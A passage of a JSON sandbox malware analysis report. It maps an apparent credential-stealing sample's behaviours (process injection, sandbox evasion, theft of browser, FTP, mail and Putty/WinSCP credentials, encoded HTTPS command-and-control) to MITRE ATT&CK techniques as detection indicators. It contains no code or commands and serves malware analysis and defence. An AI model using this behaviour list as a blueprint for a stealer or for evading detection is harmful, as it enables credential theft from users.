guardrails"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Queries volatile registry keys"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"suspicious","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"suspicious","value":"Contains ability to enumerate processes/modules/threads"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Opens registry keys"},{"type":"malicious","value":"Reads FTP client related registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"},{"type":"suspicious","value":"Possibly tries to hide a process launching it with different user credentials"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Reference explorer.exe process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"malicious","value":"Writes PE header to memory"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"malicious","value":"Calls an API typically used to enumerate the credentials from the user's credential set"},{"type":"suspicious","value":"Contains ability to capture credentials"},{"type":"informative","value":"Contains ability to to enumerates the credentials (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Found strings related to file managers"},{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"},{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","identifiers":[{"type":"malicious","value":"Tries to steal Putty/Winscp sessions from registry"},{"type":"malicious","value":"Touched instant messenger related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"suspicious","value":"Tries to access mail clients information (file access)"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal FTP credentials from registry"},{"type":"suspicious","value":"Found browser information locations related strings"},{"type":"suspicious","value":"Found Putty/Winscp session related registry strings"},{"type":"suspicious","value":"Checks on FTP client related files"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"},{"type":"suspicious","value":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded 